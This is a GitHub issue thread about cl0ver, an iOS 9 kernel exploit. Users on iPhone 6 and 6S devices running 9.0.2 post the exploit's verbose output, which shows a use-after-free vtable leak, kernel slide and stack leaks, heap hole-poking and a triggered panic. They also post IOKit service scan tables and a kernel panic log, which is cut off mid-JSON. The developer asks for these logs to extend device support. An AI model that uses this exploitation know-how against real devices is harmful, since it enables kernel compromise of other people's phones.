Unsupported device (N71mAP, 13A452)
Closed this issue · 77 comments
TheonlyGermanGuy commented
Running cl0ver compiled on OS X 10.11.6 with Xcode version 8.2 (8C38) on iPhone 6S
./cl0ver
[*] Checking for config file... [src/lib/offsets.c:329 off_cfg] [*] Nope, let's hope the registry has a compatible anchor & vtab... [src/lib/offsets.c:333 off_cfg] [*] Page size: 0x0000000000004000 [src/lib/uaf_rop.c:67 uaf_rop_stack] [*] Allocating ROP stack page at 0x000000000c000000 [src/lib/uaf_rop.c:71 uaf_rop_stack] [*] Allocated ROP page at 0x000000000c000000 [src/lib/uaf_rop.c:77 uaf_rop_stack] [*] Initializing offsets... [src/lib/offsets.c:371 off_init] [*] Checking for offsets cache file... [src/lib/offsets.c:384 off_init] [*] No offsets loaded so far, dumping the kernel... [src/lib/offsets.c:425 off_init] [*] Dumping kernel, this will take some time... [src/lib/uaf_read.c:284 uaf_dump_kernel] [*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide] [*] Dict: [src/lib/slide.c:33 get_kernel_anchor] [*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor] [*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor] [*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor] [*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor] [*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor] [*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor] [*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor] [*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client] [*] Getting IO master port... [src/lib/io.c:31 get_io_master_port] [*] Creating dict iterator... [src/lib/io.c:73 _io_iterator] [*] Getting next element from iterator... [src/lib/io.c:85 _io_next] [*] Releasing user client... [src/lib/io.c:132 _io_release_client] [*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 1]: 0xffffff801ef3e000 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 3]: 0xffffff8005de85cc [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 4]: 0xffffff80069695b4 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 5]: 0xffffff8003477b00 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 6]: 0xffffff8005de85a0 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 7]: 0xffffff80022d3950 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 8]: 0xffffff801ead5e48 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[10]: 0xffffff801ef44a50 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[11]: 0xffffff8005de8000 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[12]: 0xffffff801ef92cc0 [src/lib/slide.c:44 get_kernel_anchor] [*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor] [*] Getting anchor address from registry... [src/lib/offsets.c:227 reg_anchor] [*] Model: N71mAP [src/lib/offsets.c:128 get_model] [*] OS build: 13A452 [src/lib/offsets.c:196 get_os_version] [!] Unhandled error: Unsupported device [src/lib/offsets.c:256 reg_anchor]
Shinjidai commented
Encountered the same error on my iPhone 6 / 9.0.2
Siguza commented
Yep, I need your help to add support for more devices/OS versions.
Please run ./cl0ver panic (preferably via SSH) and post cl0ver's output as well as the panic log.
Shinjidai commented
Is there anything I can do about the unhandled error? Doesn't seem like it's working as intended, right?
iPhone:~ root# ./cl0ver panic
[*] Checking for config file... [src/lib/offsets.c:329 off_cfg]
[*] Nope, let's hope the registry has a compatible anchor & vtab... [src/lib/offsets.c:333 off_cfg]
[*] Using UAF to leak vtable... [src/lib/uaf_panic.c:123 uaf_panic_leak_vtab]
[*] dict : [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict[0]: 0x000000d3 [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict[1]: 0x81000002 [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict[2]: 0x09000004 [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict[3]: 0x00727473 [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict[4]: 0x8c000001 [src/lib/uaf_panic.c:182 uaf_panic_leak_vtab]
[*] dict_hole: [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_hole[0]: 0x000000d3 [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_hole[1]: 0x81000002 [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_hole[2]: 0x08000004 [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_hole[3]: 0x00727473 [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_hole[4]: 0x89000004 [src/lib/uaf_panic.c:183 uaf_panic_leak_vtab]
[*] dict_plug: [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_plug[0]: 0x000000d3 [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_plug[1]: 0x810001fe [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_plug[2]: 0x08000004 [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_plug[3]: 0x00000000 [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_plug[4]: 0x09000004 [src/lib/uaf_panic.c:184 uaf_panic_leak_vtab]
[*] dict_pad : [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] dict_pad[0]: 0x000000d3 [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] dict_pad[1]: 0x81000080 [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] dict_pad[2]: 0x08000004 [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] dict_pad[3]: 0x00000000 [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] dict_pad[4]: 0x09000004 [src/lib/uaf_panic.c:185 uaf_panic_leak_vtab]
[*] Spawning user clients... [src/lib/uaf_panic.c:187 uaf_panic_leak_vtab]
[*] Plugging existing heap holes... [src/lib/uaf_panic.c:192 uaf_panic_leak_vtab]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:46 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:31 get_io_master_port]
[*] Allocating (hopefully) contiguous memory... [src/lib/uaf_panic.c:195 uaf_panic_leak_vtab]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Poking holes... [src/lib/uaf_panic.c:222 uaf_panic_leak_vtab]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Creating dict iterator... [src/lib/io.c:73 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Getting next element from iterator... [src/lib/io.c:85 _io_next]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff8019b4a000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff80031cf5cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff8002298cb4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff800308de00 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff80031cf5a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff8126483950 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff80196d4edc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0xffffff8019b50a50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff80031cf000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0xffffff8019b9ecc8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff8019b9e050 [src/lib/slide.c:44 get_kernel_anchor]
[*] ************** Info ************** [src/lib/uaf_panic.c:21 print_info]
[*] * To go along with the panic log * [src/lib/uaf_panic.c:22 print_info]
[*] * Model: N61AP * [src/lib/uaf_panic.c:28 print_info]
[*] * OS build: 13A452 * [src/lib/uaf_panic.c:36 print_info]
[*] * Anchor: 0xffffff8019b4a000 * [src/lib/uaf_panic.c:44 print_info]
[*] ********************************** [src/lib/uaf_panic.c:45 print_info]
[*] Triggering panic! [src/lib/uaf_panic.c:231 uaf_panic_leak_vtab]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:60 _io_spawn_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[*] Releasing user client... [src/lib/io.c:132 _io_release_client]
[!] Unhandled error: Failed to parse dictionary (client = 0x00000000, ret = 0: (os/kern) successful, err = 3758097090: (iokit/common) invalid argument) [src/lib/io.c:66 _io_spawn_client]
Shinjidai commented
I compiled and executed the updated version of cl0ver but the unhandled error persists. Is there anything I can do to fix this error?
Siguza commented
I don't think so. I've got multiple people reporting "invalid argument" errors, but I can neither reproduce any of them, nor do I have any idea where they're coming from. :/
I've attached a compiled version of cl0ver, could you please check if using that makes any difference? Just to rule out a broken build for whatever reason.
Shinjidai commented
Unfortunately the error shows up once again :/
I have no idea why this error appears but thanks for your help! I hope you'll be able to figure out why this error appears eventually :)
gitNemo commented
Same error here, on an iPhone 6 9.0.2
[!] Unhandled error: Failed to parse dictionary...
TheonlyGermanGuy commented
The self compiled and pre-compiled versions of cl0ver don't seem to work for me either. I get this log output https://gist.github.com/TheonlyGermanGuy/274b8132fa957ac7b7838d8167368218
Siguza commented
Okay, could all of you run my scan program? I've attached a compiled version, for those who wanna compile it themselves just run cd cl0ver/scan && make.
Shinjidai commented
Service name Valid Spawn num str
AGXShared --- --- 0 ---
ASP --- --- 0 ---
AppleARMIIC --- --- 0 ---
AppleAVE --- --- 0 ---
AppleAuthCP --- --- 0 ---
AppleBCMWLAN --- --- 0 ---
AppleBaseband yes yes 6969696969696969 abc
AppleBiometricServices yes yes 6969696969696969 abc
AppleCredentialManager yes yes 6969696969696969 abc
AppleD5500 --- --- 0 ---
AppleEffaceableStorage yes yes 6969696969696969 abc
AppleEmbeddedPCIE yes --- 0 ---
AppleH2CamIn --- --- 0 ---
AppleH3CamIn --- --- 0 ---
AppleH4CamIn --- --- 0 ---
AppleH6CamIn yes yes 0 ---
AppleHDQGasGaugeControl yes yes 6969696969696969 abc
AppleIPAppender yes yes 6969696969696969 abc
AppleJPEGDriver yes yes 6969696969696969 abc
AppleKeyStore yes yes 6969696969696969 abc
AppleMobileApNonce yes yes 6969696969696969 abc
AppleMobileFileIntegrity yes yes 6969696969696969 abc
AppleMultitouchSPI yes yes 6969696969696969 abc
AppleNANDFTL --- --- 0 ---
AppleNVMeSMART --- --- 0 ---
AppleOscarCMA yes yes 6969696969696969 abc
AppleOscar --- --- 0 ---
ApplePMGRTemp --- --- 0 ---
AppleSEP --- --- 0 ---
AppleSPUHIDDevice --- --- 0 ---
AppleSPUHIDDriver --- --- 0 ---
AppleSPUProfileDriver --- --- 0 ---
AppleSPU --- --- 0 ---
AppleSRSDriver --- --- 0 ---
AppleSSE yes --- 0 ---
AppleSmartIO yes --- 0 ---
AppleStockholmControl yes yes 6969696969696969 abc
AppleT700XTempSensor yes yes 6969696969696969 abc
AppleTempSensor --- --- 0 ---
AppleUSBHostDevice --- --- 0 ---
AppleUSBHostInterface --- --- 0 ---
AppleUSBHost --- --- 0 ---
AppleVXD375 --- --- 0 ---
AppleVXD390 --- --- 0 ---
AppleVXD393 yes --- 0 ---
AppleVXE380 --- --- 0 ---
CCDataPipe yes --- 0 ---
CCLogPipe yes --- 0 ---
CCPipe yes --- 0 ---
CoreCapture --- --- 0 ---
EffacingMediaFilter --- --- 0 ---
EncryptedMediaFilter --- --- 0 ---
H3H264VideoEncoderDriver --- --- 0 ---
IOAESAccelerator yes yes 6969696969696969 abc
IOAVAudioInterface --- --- 0 ---
IOAVCECControlInterface --- --- 0 ---
IOAVController --- --- 0 ---
IOAVDevice --- --- 0 ---
IOAVInterface --- --- 0 ---
IOAVService --- --- 0 ---
IOAVVideoInterface --- --- 0 ---
IOAccelMemoryInfo --- --- 0 ---
IOAccelRestart --- --- 0 ---
IOAccelShared --- --- 0 ---
IOAccessoryEAInterface --- --- 0 ---
IOAccessoryIDBus --- --- 0 ---
IOAccessoryManager yes yes 6969696969696969 abc
IOAccessoryPort yes --- 0 ---
IOAudio2Device yes --- 0 ---
IOAudio2Transformer --- --- 0 ---
IOAudioCodecs yes yes 6969696969696969 abc
IOCEC --- --- 0 ---
IODPAudioInterface --- --- 0 ---
IODPController --- --- 0 ---
IODPDevice --- --- 0 ---
IODPDisplayInterface --- --- 0 ---
IODPService --- --- 0 ---
IOHDIXController yes yes 6969696969696969 abc
IOHIDEventService yes yes 6969696969696969 abc
IOHIDLib --- --- 0 ---
IOHIDResourceDevice --- --- 0 ---
IOMikeyBusBulkPipe --- --- 0 ---
IOMikeyBusDevice --- --- 0 ---
IOMikeyBusFunctionGroup --- --- 0 ---
IOMobileFramebuffer yes yes 0 ---
IONetworkStack yes --- 0 ---
IONetwork --- --- 0 ---
IOPKEAccelerator --- --- 0 ---
IOPRNGAccelerator --- --- 0 ---
IOReport --- --- 0 ---
IOSHA1Accelerator --- --- 0 ---
IOStreamAudio --- --- 0 ---
IOStream --- --- 0 ---
IOSurfaceRoot yes yes 0 ---
IOUSBDeviceInterface yes yes 0 ---
IOUserEthernetResource yes --- 0 ---
KDIDiskImageNub --- --- 0 ---
LwVM --- --- 0 ---
ProvInfoIOKit --- --- 0 ---
RTBuddyLoader --- --- 0 ---
RTBuddy --- --- 0 ---
RootDomain --- --- 0 ---
com_apple_audio_IOBorealisOwl --- --- 0 ---
com_apple_driver_FairPlayIOKit yes yes 6969696969696969 abc
com_apple_driver_KeyDeliveryIOKit yes yes 6969696969696969 abc
mDNSOffload --- --- 0 ---
wlDNSOffload --- --- 0 ---
gitNemo commented
Service name Valid Spawn num str
AGXShared --- --- 0 ---
ASP --- --- 0 ---
AppleARMIIC --- --- 0 ---
AppleAVE --- --- 0 ---
AppleAuthCP --- --- 0 ---
AppleBCMWLAN --- --- 0 ---
AppleBaseband yes yes 6969696969696969 abc
AppleBiometricServices yes yes 6969696969696969 abc
AppleCredentialManager yes yes 6969696969696969 abc
AppleD5500 --- --- 0 ---
AppleEffaceableStorage yes yes 6969696969696969 abc
AppleEmbeddedPCIE yes --- 0 ---
AppleH2CamIn --- --- 0 ---
AppleH3CamIn --- --- 0 ---
AppleH4CamIn --- --- 0 ---
AppleH6CamIn yes yes 0 ---
AppleHDQGasGaugeControl yes yes 6969696969696969 abc
AppleIPAppender yes yes 6969696969696969 abc
AppleJPEGDriver yes yes 6969696969696969 abc
AppleKeyStore yes yes 6969696969696969 abc
AppleMobileApNonce yes yes 6969696969696969 abc
AppleMobileFileIntegrity yes yes 6969696969696969 abc
AppleMultitouchSPI yes yes 6969696969696969 abc
AppleNANDFTL --- --- 0 ---
AppleNVMeSMART --- --- 0 ---
AppleOscarCMA yes yes 6969696969696969 abc
AppleOscar --- --- 0 ---
ApplePMGRTemp --- --- 0 ---
AppleSEP --- --- 0 ---
AppleSPUHIDDevice --- --- 0 ---
AppleSPUHIDDriver --- --- 0 ---
AppleSPUProfileDriver --- --- 0 ---
AppleSPU --- --- 0 ---
AppleSRSDriver
--- --- 0 ---
AppleSSE yes --- 0 ---
AppleSmartIO yes --- 0 ---
AppleStockholmControl yes yes 6969696969696969 abc
AppleT700XTempSensor yes yes 6969696969696969 abc
AppleTempSensor --- --- 0 ---
AppleUSBHostDevice --- --- 0 ---
AppleUSBHostInterface --- --- 0 ---
AppleUSBHost --- --- 0 ---
AppleVXD375 --- --- 0 ---
AppleVXD390 --- --- 0 ---
AppleVXD393 yes --- 0 ---
AppleVXE380 --- --- 0 ---
CCDataPipe yes --- 0 ---
CCLogPipe yes --- 0 ---
CCPipe yes --- 0 ---
CoreCapture --- --- 0 ---
EffacingMediaFilter --- --- 0 ---
EncryptedMediaFilter --- --- 0 ---
H3H264VideoEncoderDriver --- --- 0 ---
IOAESAccelerator yes yes 6969696969696969 abc
IOAVAudioInterface --- --- 0 ---
IOAVCECControlInterface --- --- 0 ---
IOAVController --- --- 0 ---
IOAVDevice --- --- 0 ---
IOAVInterface --- --- 0 ---
IOAVService --- --- 0 ---
IOAVVideoInterface --- --- 0 ---
IOAccelMemoryInfo --- --- 0 ---
IOAccelRestart --- --- 0 ---
IOAccelShared --- --- 0 ---
IOAccessoryEAInterface --- --- 0 ---
IOAccessoryIDBus --- --- 0 ---
IOAccessoryManager yes yes 6969696969696969 abc
IOAccessoryPort yes --- 0 ---
IOAudio2Device yes --- 0 ---
IOAudio2Transformer --
- --- 0 ---
IOAudioCodecs yes yes 6969696969696969 abc
IOCEC --- --- 0 ---
IODPAudioInterface --- --- 0 ---
IODPController --- --- 0 ---
IODPDevice --- --- 0 ---
IODPDisplayInterface --- --- 0 ---
IODPService --- --- 0 ---
IOHDIXController yes yes 6969696969696969 abc
IOHIDEventService yes yes 6969696969696969 abc
IOHIDLib --- --- 0 ---
IOHIDResourceDevice --- --- 0 ---
IOMikeyBusBulkPipe --- --- 0 ---
IOMikeyBusDevice --- --- 0 ---
IOMikeyBusFunctionGroup --- --- 0 ---
IOMobileFramebuffer yes yes 0 ---
IONetworkStack yes --- 0 ---
IONetwork --- --- 0 ---
IOPKEAccelerator --- --- 0 ---
IOPRNGAccelerator --- --- 0 ---
IOReport --- --- 0 ---
IOSHA1Accelerator --- --- 0 ---
IOStreamAudio --- --- 0 ---
IOStream --- --- 0 ---
IOSurfaceRoot yes yes 0 ---
IOUSBDeviceInterface yes yes 0 ---
IOUserEthernetResource yes --- 0 ---
KDIDiskImageNub --- --- 0 ---
LwVM --- --- 0 ---
ProvInfoIOKit --- --- 0 ---
RTBuddyLoader --- --- 0 ---
RTBuddy --- --- 0 ---
RootDomain --- --- 0 ---
com_apple_audio_IOBorealisOwl --- --- 0 ---
com_apple_driver_FairPlayIOKit yes yes 6969696969696969 abc
com_apple_driver_KeyDeliveryIOKit yes yes 6969696969696969 abc
mDNSOffload --- ---
0 ---
wlDNSOffload --- --- 0 ---
Shinjidai commented
iPhone:~ root# ./check
Failed to spawn AMFI user client with string dict
gitNemo commented
iPhone-6-de-Nemo:/etc root# ./check
Failed to spawn AMFI user client with string dict
Siguza commented
Okay, it seems that iOS 9.0.2 and lower don't allow strings as keys.
There is another path that yields a UaF, but it'll take some time to code that up, and I won't be able to test it myself.
Shinjidai commented
Thanks so much for trying to solve this issue. Take your time!
Siguza commented
Well, I did write "iOS 9.0-9.3.4" next to it after all.
I just committed some changes to the panic routines, could you check if they are working now?
Shinjidai commented
Looking good. Kernel panics and device is rebooting. Is this log file everything you need?
Edit: Attached the cl0ver log in a post below.
Siguza commented
That log seems cut off, and the relevant information would be at the end of it. I'll also need the actual panic log (accessible in Settings > Privacy > Diagnostics & Usage > Diagnostics & Usage Data > panic-XXXX-XX-XX-XXXXXX.ips, or via XCode or idevicecrashreport).
gitNemo commented
Here's it from the Diagnostics & Usage Data > panic.....
{"os_version":"iPhone OS 9.0.2 (13A452)","bug_type":"210","timestamp":"2017-01-03 09:22:29.29 +0100"}
{
"build" : "iPhone OS 9.0.2 (13A452)",
"product" : "iPhone7,2",
"kernel" : "Darwin Kernel Version 15.0.0: Thu Aug 20 13:11:12 PDT 2015; root:xnu-3248.1.3~1\/RELEASE_ARM64_T7000",
"incident" : "8DB817EC-7A9F-4EE2-B82F-AA9C3B26C0D8",
"crashReporterKey" : "b0fb713291aad8e666b9e70dd1b6029806521ae8",
"date" : "2017-01-03 09:22:29.29 +0100",
"panicString" : "panic(cpu 1 caller 0xffffff80194fc510): \"Kernel instruction fetch abort: pc=0xffffff800435e440 iss=0xf far=0xffffff800435e440. Note: the faulting frame may be missing in the backtrace.\"\nDebugger message: panic\nOS version: 13A452\nKernel version: Darwin Kernel Version 15.0.0: Thu Aug 20 13:11:12 PDT 2015; root:xnu-3248.1.3~1\/RELEASE_ARM64_T7000\niBoot version: iBoot-2817.1.94\nsecure boot?: YES\nPaniclog version: 5\nKernel slide: 0x0000000015400000\nKernel text base: 0xffffff8019404000\nEpoch Time: sec usec\n Boot : 0x586b5d1e 0x00000000\n Sleep : 0x00000000 0x00000000\n Wake : 0x00000000 0x00000000\n Calendar: 0x586b5f1f 0x000d7b14\n\nPanicked task 0xffffff80015d4490: 171 pages, 1 threads: pid 1454: cl0ver\npanicked thread: 0xffffff8002825800, backtrace: 0xffffff81219731b0\n\t\t lr: 0xffffff80195046b0 fp: 0xffffff8121973200\n\t\t lr: 0xffffff801942c9cc fp: 0xffffff8121973270\n\t\t lr: 0xffffff80194fc510 fp: 0xffffff8121973360\n\t\t lr: 0xffffff80194fb1f0 fp: 0xffffff8121973370\n\t\t lr: 0xffffff80197f65a0 fp: 0xffffff81219737d0\n\t\t lr: 0xffffff80198612d8 fp: 0xffffff81219738f0\n\t\t lr: 0xffffff80194da3e8 fp: 0xffffff8121973950\n\t\t lr: 0xffffff8019418460 fp: 0xffffff8121973a30\n\t\t lr: 0xffffff801942634c fp: 0xffffff8121973ad0\n\t\t lr: 0xffffff80194fd80c fp: 0xffffff8121973ba0\n\t\t lr: 0xffffff80194fc0f4 fp: 0xffffff8121973c90\n\t\t lr: 0xffffff80194fb1f0 fp: 0xffffff8121973ca0\n\t\t lr: 0x000000019809cc30 fp: 0x0000000000000000\n\n\n",
"memoryStatus" : {"compressorSize":18416,"compressions":90807,"decompressions":27209,"busyBufferCount":0,"jetsamLevel":0,"pageSize":4096,"memoryPressure":{"pagesWanted":0,"pagesReclaimed":0},"memoryPages":{"active":112373,"throttled":0,"fileBacked":88524,"wired":51623,"purgeable":119,"inactive":55530,"free":11375,"speculative":3141}},
"processByPid" : {
"0" : {"pid":0,"residentMemoryBytes":6393856,"timesDidThrottle":0,"systemTimeTask":0,"pageIns":1,"pageFaults":4560,"userTimeTask":593.968812833,"procname":"kernel_task","copyOnWriteFaults":0,"threadById":{"453":{"continuation":[0,3339572],"userTime":2.791e-06,"systemTime":0,"id":453,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5888000]},"291":{"continuation":[0,4394504],"userTime":2.5708e-05,"systemTime":0,"id":291,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944686947]},"259":{"continuation":[0,4394504],"userTime":1.075e-05,"systemTime":0,"id":259,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944609443]},"373":{"continuation":[0,4394504],"userTime":7.0708e-05,"systemTime":0,"id":373,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_U